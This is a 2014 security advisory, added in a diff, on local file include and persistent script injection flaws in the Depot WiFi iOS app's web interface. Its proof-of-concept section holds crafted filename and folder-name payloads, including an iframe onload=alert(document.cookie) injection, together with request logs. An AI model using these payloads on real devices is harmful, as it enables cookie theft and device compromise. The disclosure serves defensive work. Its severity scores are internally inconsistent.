|
| 1 | +Document Title: |
| 2 | +=============== |
| 3 | +Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities |
| 4 | + |
| 5 | + |
| 6 | +References (Source): |
| 7 | +==================== |
| 8 | +http://www.vulnerability-lab.com/get_content.php?id=1259 |
| 9 | + |
| 10 | + |
| 11 | +Release Date: |
| 12 | +============= |
| 13 | +2014-04-23 |
| 14 | + |
| 15 | + |
| 16 | +Vulnerability Laboratory ID (VL-ID): |
| 17 | +==================================== |
| 18 | +1259 |
| 19 | + |
| 20 | + |
| 21 | +Common Vulnerability Scoring System: |
| 22 | +==================================== |
| 23 | +8.6 |
| 24 | + |
| 25 | + |
| 26 | +Product & Service Introduction: |
| 27 | +=============================== |
| 28 | +With Depot you can archive all kinds of files on your iPhone, iPod or iPad and then share them on a local WiFi network |
| 29 | +In Depot not only you can receive files from other applications that supports document interaction (as Mail or Safari), |
| 30 | +but you can also download and upload files from any kind of PC and internet enabled devices. You can then open your files |
| 31 | +directly on your device or share them between other devices such as smartphones, tablets, PCs, game consoles and smart TVs |
| 32 | +connected through a local WiFi. |
| 33 | + |
| 34 | +(Copy of the Homepage: https://itunes.apple.com/br/app/depot/id858248612 ) |
| 35 | + |
| 36 | + |
| 37 | +Abstract Advisory Information: |
| 38 | +============================== |
| 39 | +The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Depot v1.0.0 iOS mobile web-application. |
| 40 | + |
| 41 | + |
| 42 | +Vulnerability Disclosure Timeline: |
| 43 | +================================== |
| 44 | +2014-04-23: Public Disclosure (Vulnerability Laboratory) |
| 45 | + |
| 46 | + |
| 47 | +Discovery Status: |
| 48 | +================= |
| 49 | +Published |
| 50 | + |
| 51 | + |
| 52 | +Affected Product(s): |
| 53 | +==================== |
| 54 | +Maurizio Berioli |
| 55 | +Product: Depot - iOS Mobile Application 1.0 |
| 56 | + |
| 57 | + |
| 58 | +Exploitation Technique: |
| 59 | +======================= |
| 60 | +Remote |
| 61 | + |
| 62 | + |
| 63 | +Severity Level: |
| 64 | +=============== |
| 65 | +High |
| 66 | + |
| 67 | + |
| 68 | +Technical Details & Description: |
| 69 | +================================ |
| 70 | +1.1 |
| 71 | +A local file include web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The local file include |
| 72 | +web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise |
| 73 | +the mobile web-application. |
| 74 | + |
| 75 | +The web vulnerability is located in the `filename` value of the `+Files > Upload!` module. Remote attackers are able to inject own files with |
| 76 | +malicious `filename` values in the `Upload!` POST method request to compromise the mobile web-application. The local file/path include execution |
| 77 | +occurs in the `Depot index item list` context of the wifi interface. Attackers are able to inject own local file requests by usage of the `wifi interface` |
| 78 | +path value or by a local privileged device user account via `filename sync` rename. |
| 79 | + |
| 80 | +Remote attackers are also able to exploit the filename validation issue in combination with persistent script codes to execute different local malicious |
| 81 | +attacks or requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the |
| 82 | +local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. |
| 83 | + |
| 84 | +Exploitation of the local file include web vulnerability requires no privileged application user account or user interaction. Successful exploitation of |
| 85 | +the local file include web vulnerability results in mobile application or connected device component compromise. |
| 86 | + |
| 87 | + |
| 88 | +Request Method(s): |
| 89 | + [+] [POST] |
| 90 | + |
| 91 | +Vulnerable Module(s): |
| 92 | + [+] +File > Upload! |
| 93 | + |
| 94 | +Vulnerable Function(s): |
| 95 | + [+] Create a new Folder (remote) |
| 96 | + [+] rename (local sync) |
| 97 | + |
| 98 | +Vulnerable Parameter(s): |
| 99 | + [+] filename (path value) |
| 100 | + |
| 101 | +Affected Module(s): |
| 102 | + [+] Depot Index Item Listing (http://localhost/) |
| 103 | + |
| 104 | + |
| 105 | + |
| 106 | + |
| 107 | +1.2 |
| 108 | +A code execution web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The issue allows an attacker to |
| 109 | +compromise the application and connected device components by exploitation of system specific code execution vulnerability in the webdisk interface. |
| 110 | + |
| 111 | +The vulnerability is located in the GET method request of the `+Folders` module. The main index provides a folders add form which is not secure |
| 112 | +encoding the regular inputs. The context can be implemented to the folders form and the results is the application-side execution of system |
| 113 | +specific malicious codes in the index. The file itself will not be transfered and the input generates the listing context to the index. |
| 114 | + |
| 115 | +The input field of the +Folders module executes the wrong encoded input via GET method request by the name value. Remote attackers are able to |
| 116 | +execute the own malicious codes by usage of a script code payload in combination with the affected system device values. The execution of the code |
| 117 | +occurs in the main depot file dir listing context. The attack vector is on application-side and the request method to attack the service is GET. |
| 118 | +The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9. |
| 119 | + |
| 120 | +Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction. |
| 121 | +Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise. |
| 122 | + |
| 123 | + |
| 124 | +Request Method(s): |
| 125 | + [+] POST |
| 126 | + |
| 127 | +Vulnerable Module(s): |
| 128 | + [+] +Folders |
| 129 | + |
| 130 | +Vulnerable Function(s): |
| 131 | + [+] Create a new Folder (remote) |
| 132 | + [+] rename (local sync) |
| 133 | + |
| 134 | +Vulnerable Parameter(s): |
| 135 | + [+] foldername |
| 136 | + |
| 137 | +Affected Module(s): |
| 138 | + [+] Depot Index Item Listing (http://localhost/) |
| 139 | + |
| 140 | + |
| 141 | +Proof of Concept (PoC): |
| 142 | +======================= |
| 143 | +1.1 |
| 144 | +The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction. |
| 145 | +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. |
| 146 | + |
| 147 | +PoC: Exploit Filename Index |
| 148 | + |
| 149 | +<input onclick="toggle(this);" type="checkbox"></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;"> |
| 150 | +<a href="/?ORD=1">Name</a></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="/?ORD=2">Date</a></div></td> |
| 151 | +<td colspan="2"><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="/?ORD=4">Size</a></div></td></tr> |
| 152 | +<tr style="background-color:#F0F0F0"><td><input name="file" value="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png" type="checkbox"></td> |
| 153 | +<td><a href="/./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png">./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png</a></td> |
| 154 | +<td> 22.04.2014 11:37 </td><td style="text-align:right;">538.00</td><td>bytes</td> |
| 155 | + |
| 156 | + |
| 157 | +--- POC SESSION LOGS [POST] --- |
| 158 | +Status: 200[OK] |
| 159 | +GET http://localhost:80/?addfile=1 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[2924] Mime Type[text/html] |
| 160 | + Request Header: |
| 161 | + Host[localhost:80] |
| 162 | + User-Agent[Mozilla/5.0 (Windows NT |
| 163 | + |
| 164 | +6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] |
| 165 | + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] |
| 166 | + Accept-Language[de,en-US;q=0.7,en;q=0.3] |
| 167 | + Accept-Encoding[gzip, deflate] |
| 168 | + Referer |
| 169 | + |
| 170 | +[http://localhost:80/] |
| 171 | + Connection[keep-alive] |
| 172 | + Response Header: |
| 173 | + Content-Type[text/html] |
| 174 | + Content-Length[2924] |
| 175 | + Connection[close] |
| 176 | + Cache-Control[no-cache] |
| 177 | + |
| 178 | + |
| 179 | +Status: 200[OK] |
| 180 | +POST http://localhost:80/ Load Flags |
| 181 | + |
| 182 | +[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[2920] Mime Type[text/html] |
| 183 | + Request Header: |
| 184 | + Host[localhost:80] |
| 185 | + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] |
| 186 | + |
| 187 | + |
| 188 | +Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] |
| 189 | + Accept-Language[de,en-US;q=0.7,en;q=0.3] |
| 190 | + Accept-Encoding[gzip, deflate] |
| 191 | + Referer[http://localhost:80/?addfile=1] |
| 192 | + Connection[keep-alive] |
| 193 | + POST- |
| 194 | + |
| 195 | +Daten: |
| 196 | + POST_DATA[-----------------------------2914547563213 |
| 197 | +Content-Disposition: form-data; name="mauber"; filename="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png" |
| 198 | +Content-Type: image/png |
| 199 | + |
| 200 | + |
| 201 | +Reference(s): |
| 202 | +http://localhost:80/?addfile= |
| 203 | + |
| 204 | + |
| 205 | + |
| 206 | +1.2 |
| 207 | +The code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. |
| 208 | +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. |
| 209 | + |
| 210 | + |
| 211 | +PoC #1: Exploit Index Foldername Item |
| 212 | + |
| 213 | +<div style="border:1px solid;text-align:center;background-color:F0F0FF;">Folders [<a href="/?adddir=1">+</a>]<br>>"%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C" <="" created!<="" div=""></td></tr><tr><td><div style='border:1px |
| 214 | + |
| 215 | +solid;text-align:center;background-color:DCDCF0;'> </div></td><td><div style='border:1px solid;text-align:center;background-color:DCDCF0;'><a href='/?ORD=1'>Name</a></div></td><td colspan='3'><div style='border:1px solid;text- |
| 216 | + |
| 217 | +align:center;background-color:DCDCF0;'><a href='/?ORD=2'>Date</a></div></td></tr><tr style='background-color:#F0F0F0'><td> </td><td>[<a href='.deviceMedia.'>.deviceMedia.</a>]</td><td colspan='3'> - |
| 218 | + |
| 219 | + </td></tr><tr style='background-color:#FFFFFF'><td> </td><td>[<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C'>%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <</a>]</td> |
| 220 | + |
| 221 | + |
| 222 | +PoC #2: Exploit #2 Directory/Path Value |
| 223 | + |
| 224 | +<td><a href="/"><<</a> Browsing:<b>[<a href="/">/</a>][<a href="/>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <">>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C)" <<="" a="">]</b> |
| 225 | +<br> </td></tr><tr><td><table align='center' style='border-style:none;border-spacing:0'><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0F0FF;'> |
| 226 | +Folders [<a href='/>"<iframe src=a onload=alert(document.cookie) <?adddir=1'>+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No sub-folders presents.</td></tr> |
| 227 | +<tr><td colspan='5'> </td></tr><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0FFF0;'>Files [<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <?addfile=1'> |
| 228 | ++</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No files present.</td></tr></table></td></tr></table></body></html></iframe></a></b></td> |
| 229 | + |
| 230 | + |
| 231 | +--- POC SESSION LOGS [GET] --- |
| 232 | + |
| 233 | +GET http://localhost:80/.createdir?newdir=%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_FROM_CACHE ] Gr??e des Inhalts[-1] Mime Type[unbekannt] |
| 234 | + Request Header: |
| 235 | + Host[localhost:80] |
| 236 | + User-Agent[Mozilla/5.0 |
| 237 | + |
| 238 | +(Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] |
| 239 | + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] |
| 240 | + Accept-Language[de,en-US;q=0.7,en;q=0.3] |
| 241 | + Accept-Encoding[gzip, deflate] |
| 242 | + Referer |
| 243 | + |
| 244 | +[http://localhost:80/?adddir=1] |
| 245 | + Response Header: |
| 246 | + |
| 247 | + |
| 248 | +11:15:44.105[31ms][total 31ms] Status: 200[OK] |
| 249 | +GET http://localhost:80/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_DOCUMENT_URI ] Gr??e des Inhalts[48] Mime Type |
| 250 | + |
| 251 | +[text/html] |
| 252 | + Request Header: |
| 253 | + Host[localhost:80] |
| 254 | + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] |
| 255 | + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] |
| 256 | + Accept- |
| 257 | + |
| 258 | +Language[de,en-US;q=0.7,en;q=0.3] |
| 259 | + Accept-Encoding[gzip, deflate] |
| 260 | + Referer[http://localhost:80/] |
| 261 | + Connection[keep-alive] |
| 262 | + Response Header: |
| 263 | + Content-Type[text/html] |
| 264 | + Content-Length[48] |
| 265 | + Connection[close] |
| 266 | +Cache-Control[no-cache] |
| 267 | + |
| 268 | + |
| 269 | + |
| 270 | +Reference(s): |
| 271 | +http://localhost:80/.createdir?newdir= |
| 272 | + |
| 273 | + |
| 274 | +Security Risk: |
| 275 | +============== |
| 276 | +1.1 |
| 277 | +The security risk of the local file include web vulnerability is estimated as high. |
| 278 | + |
| 279 | +1.2 |
| 280 | +The security risk of the code execution web vulnerability is estimated as high(+). |
| 281 | + |
| 282 | + |
| 283 | +Credits & Authors: |
| 284 | +================== |
| 285 | +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] |
| 286 | + |
| 287 | + |
| 288 | +Disclaimer & Information: |
| 289 | +========================= |
| 290 | +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, |
| 291 | +either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- |
| 292 | +Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business |
| 293 | +profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some |
| 294 | +states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation |
| 295 | +may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases |
| 296 | +or trade with fraud/stolen material. |
| 297 | + |
| 298 | +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com |
| 299 | +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com |
| 300 | +Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com |
| 301 | +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab |
| 302 | +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php |
| 303 | + |
| 304 | +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. |
| 305 | +Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other |
| 306 | +media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and |
| 307 | +other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), |
| 308 | +modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. |
| 309 | + |
| 310 | + Copyright ? 2014 | Vulnerability Laboratory [Evolution Security] |
| 311 | + |
| 312 | + |
| 313 | + |
| 314 | +-- |
| 315 | +VULNERABILITY LABORATORY RESEARCH TEAM |
| 316 | +DOMAIN: www.vulnerability-lab.com |
| 317 | +CONTACT: research@vulnerability-lab.com |
| 318 | + |
| 319 | + |
0 commit comments